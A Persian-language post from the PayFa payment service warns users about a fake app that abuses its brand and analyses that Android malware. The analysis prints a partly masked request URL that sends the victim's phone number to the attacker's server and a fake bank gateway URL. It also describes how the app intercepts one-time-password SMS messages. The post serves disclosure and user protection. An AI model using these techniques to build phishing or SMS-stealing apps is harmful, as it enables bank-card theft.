• درگاه پرداخت
پی فا مگ
  • درگاه پرداخت
  • اخبار
  • خدمات پی فا
  • کسب و کار
  • پرداخت الکترونیک
  • اطلاعات عمومی
  • درباره ما
  • تماس با ما
بدون نتیجه
نمایش همه نتایج
پی فا مگ
  • درگاه پرداخت
  • اخبار
  • خدمات پی فا
  • کسب و کار
  • پرداخت الکترونیک
  • اطلاعات عمومی
  • درباره ما
  • تماس با ما
بدون نتیجه
نمایش همه نتایج
پی فا مگ
بدون نتیجه
نمایش همه نتایج

سوء استفاده از برند پی فا توسط کلاهبرداران

17 دی 1401
در اخبار
0
سوء استفاده از برند پی فا

سوء استفاده از برند پی فا

WhatsappTelegramLinkedin

“پی فا” بعد از فراز و نشیب‌های بسیاری که از ابتدای کار خود تا کنون طی کرده، در حال حاضر در مسیر رشد و پیشرفت است. اما در این مسیر با مشکلات بی‌شماری روبه‌رو شده که با تکیه بر تجارب مدیران و استفاده از دانش کارشناسان حرفه‌ای، درصدد حل و فصل آن‌ها برآمده و سختی‌های مسیر را پشت سر گذاشته است. به همین دلیل پی فا با مشکلات بیگانه نیست؛ چرا که همیشه افرادی هستند که به قطارهای در حال حرکت سنگ‌اندازی کنند و مانعی برای پیشرفت باشند.
کلاهبرداران این بار با جعل اپلیکیشن پی فا به دنبال سوء استفاده از کاربران و سرقت اطلاعات کارت بانکی آن‌ها هستند. مهاجمان با سوء استفاده از نام و هویت پی فا سعی می‌کنند، حملات فیشینگ انجام دهند و با بدافزارهای موجود به سرقت اطلاعات کاربران بپردازند. پی فا این اقدام مجرمانه را محکوم می‌کند و نگران مشکلاتی است که توسط این اپلیکیشن جعلی، گریبانگیر برخی کاربران ناآگاه می‌شود.
کاربران باید در نظر داشته باشند که پی فا در حال حاضر هیچگونه اپلیکیشنی بر روی سیستم عامل‌های ios و android ندارد و تنها مرجع معتبر آن سایت payfa بر روی دامنه‌های ir. و com. است. پیش از این پی فا در اطلاعیه‌های رسمی خود اعلام کرده بود که هیچگونه اپلیکیشنی ندارد و در برابر سوء استفاده‌های احتمالی مسئولیتی نخواهد داشت.

آنالیز بدافزار (دریافت وجه) با آیکون پی فا

بدافزاری به نام “دریافت وجه” با سوءاستفاده از آیکون پی فا، به منظور فریب کاربران برای سرقت اطلاعات بانکی آن‌ها ایجاد شده است. این روزها اپلیکیشن “دریافت وجه” در کانال‌هایی تحت عنوان “ادد کنید پول دریافت کنید” با تکنیک بازاریابی ویروسی دست به دست می‌شود. این اقدام از دید پی‌ فا دور نمانده و به سرعت به این اقدام رسیدگی نموده است. در ادامه تیم فنی پی فا، با استفاده از تکنیک مهندسی معکوس به تشریح و بررسی فنی این بدافزار می‌پردازد.

نحوه عملکرد بد افزار (دریافت وجه)

این بدافزار پس از نصب و اجرا، ابتدا دسترسی فعال شدن ارسال و خواندن SMS را از کاربر دریافت می‌کند. سپس شماره موبایل قربانی را دریافت کرده و به سرور اختصاصی خود به فایل Request.php ارسال می‌نماید.
https://exXXeXXs-noXXXs.XX/request.php?phone=09123456789&port=88084&info=install

نحوه عملکرد بد افزار (دریافت وجه)
نحوه عملکرد بد افزار (دریافت وجه)

پس از گذر از صفحه اول، این بدافزار در صفحه اصلی با استفاده از کامپوننت (WebView) صفحه جعلی درگاه را نمایش می‌دهد. این صفحه درگاه برای گمراه کردن کاربران، مشابه صفحه «به‌پرداخت ملت» شبیه‌سازی شده است. تصاویر منتشر شده از این اپلیکیشن نشان می‌دهد که صفحات جعلی به خوبی پیاده‌سازی شده و زمینه برای فریب خوردن کاربران آماده است.

WebView
WebView
در حال اتصال به درگاه پرداخت
در حال اتصال به درگاه پرداخت
سوء استفاده از برند پی فا توسط کلاهبرداران
سوء استفاده از برند پی فا توسط کلاهبرداران
سوءاستفاده از برند پی فا
سوءاستفاده از برند پی فا

بعد از مشاهده این صفحات، قربانی اطلاعات کارت بانکی خود را وارد می‌نماید. این اطلاعات توسط سرور بد افزار درخواستی، روی یک درگاه پرداخت (بررسی نشده و نامعتبر) دریافت می‌شود. در همین لحظه پیامک بانک حاوی رمز پویا با استفاده از تابع (onReceive) کلاس (BroadcastReceiver) به سرور بدافزار ارسال می‌شود.
بدافزار، پیامک‌های دریافتی قربانی را رصد می‌کند. پس از آنکه قربانی پیامک حاوی رمز پویا را دریافت کرد، بدافزار نیز آن را رصد می‌کند. در این لحظه صاحب بدافزار به اطلاعات کارت قربانی و رمز پویای او دسترسی دارد‌. در ادامه مراحل تکمیلی این بدافزار جعلی قابل مشاهده است.

1- بررسی کد بد افزار

بررسی کد بد افزار
بررسی کد بد افزار

MainActivity.java -2

MainActivity.java
MainActivity.java
  • دریافت مجوز استفاده از سرویس SMS
  • بررسی شماره موبایل ورودی
  • ثبت شماره موبایل قربانی در سرور بد افزار
  • انتقال قربانی به MainActivity2

MainActivity2.java -3

نمایش صفحه جعلی پرداخت

https://xsl- shapark.XXX/Ads/?e=88084&P=Mellat

connect.java -4

connect.java
connect.java

ارسال اطلاعت به سرور بد افزار (شماره موبایل، پیامک)

MyReceiver.java -5

MyReceiver.java
MyReceiver.java

شنود پیامک و ارسال متن پبامک به کلاس (connect) جهت ارسال به سرور بد افزار

در پایان لازم به ذکر است که پی فا درباره استفاده از اپلیکیشن‌های غیرمجاز و جعلی به کاربران هشدار می‌دهد و از آن‌ها می‌خواهد که از نصب و راه‌اندازی برنامه‌های مشکوک بر روی تلفن همراه خود، خودداری نمایند. همچنین این شرکت تاکید می‌کند که هیچ مسئولیتی در قبال خطرات احتمالی ناشی از سوء استفاده از نام پی فا ندارد و برنامه‌های خود را از طریق مراجع معتبر و رسمی خود به مخاطبان معرفی می‌کند. استفاده از نام و هویت پی فا بدون اطلاع قبلی این شرکت، اقدامی مجرمانه است و افرادی که به قصد فریبکاری و کلاهبرداری از نام این شرکت سوءاستفاده کنند، تحت پیگرد قانونی قرار می‌گیرند.

مطالب مرتبط

دریافت کد شهاب

ارائه خدمات بانکی به اشخاص حقوقی منوط به اخذ کد شهاب

15 اسفند 1401

بانک ملی ایران اعلام کرد از ابتدای سال آینده، ارایه خدمات بانکی به اشخاص حقوقی منوط به اخذ کد شهاب...

افزایش ساعت کاری ساتنا و پایا در روزهای پایانی سال 1401

اعلام ساعت کاری سامانه‎ های ساتنا و پایا در روزهای پایانی سال

28 اسفند 1401

ساعت کاری سامانه‌های ساتنا و پایا، با هدف ایجاد سهولت در پرداخت‌های مشتریان شبکه بانکی در ایام پایانی سال، اعلام...

آخرین زمان نقد شدن چک‌های غیرصیادی اعلام شد

آخرین زمان نقد شدن چک‌های غیرصیادی اعلام شد

23 بهمن 1401

معاون فناوری‌های نوین بانک مرکزی اظهار داشت: چک‌های غیرصیادی باقی‌مانده در کشور، تنها تا 6 ماه آینده و در بانک...

توافق ایران و روسیه

158 بانک ایران و روسیه به یکدیگر متصل می‌شوند

19 بهمن 1401

ایران و روسیه برای اتصال سیستم های پرداخت بین بانکی خود به طور رسمی توافق کردند. در پی این توافق...

ترکیب جدید اعضای شورای عالی بانک مرکزی

مجلس ترکیب اعضای هیأت عالی بانک مرکزی را تغییر داد

20 بهمن 1401

نمایندگان مجلس درباره ترکیب جدید اعضای شورای عالی بانک مرکزی تصمیم‌گیری کردند. نمایندگان شورای اسلامی در جلسه علنی (سه شنبه...

افزایش نرخ سود بانکی

افزایش سقف سود بانکی از 18 به 22.5 درصد

16 بهمن 1401

به گزارش خبرگزاری‌ ایسنا، بر طبق مصوبه شورای پول و اعتبار، بازه‌ی نرخ سود سپرده بانکی از 10 تا 18...

0 0 رای ها
امتیازدهی به مقاله
guest

guest

0 نظرات
بازخورد (Feedback) های اینلاین
مشاهده همه دیدگاه ها

شبکه های اجتماعی

خبرنامه

جدید ترین مقالات

  • گزارش اقتصادی فروردین ماه شاپرک
  • گزارش اقتصادی اسفند ماه شاپرک
  • پی فا چیست و چگونه یاری رسان شماست؟
  • پی تک (PayTech) چیست و چه کاربردهایی دارد؟

دسته بندی ها

  • اخبار
  • اطلاعات عمومی
  • پرداخت الکترونیک
  • خدمات پی فا
  • دسته‌بندی نشده
  • کسب و کار
پی فا مگ

© کلیه حقوق برای پی فا محفوظ است.

پی فا مگ

  • تماس با ما
  • درباره ما
  • درگاه پرداخت

ما را در شبکه های اجتماعی دنبال کنید

بدون نتیجه
نمایش همه نتایج
  • درگاه پرداخت
  • اخبار
  • خدمات پی فا
  • کسب و کار
  • پرداخت الکترونیک
  • اطلاعات عمومی
  • درباره ما
  • تماس با ما

© کلیه حقوق برای پی فا محفوظ است.

wpDiscuz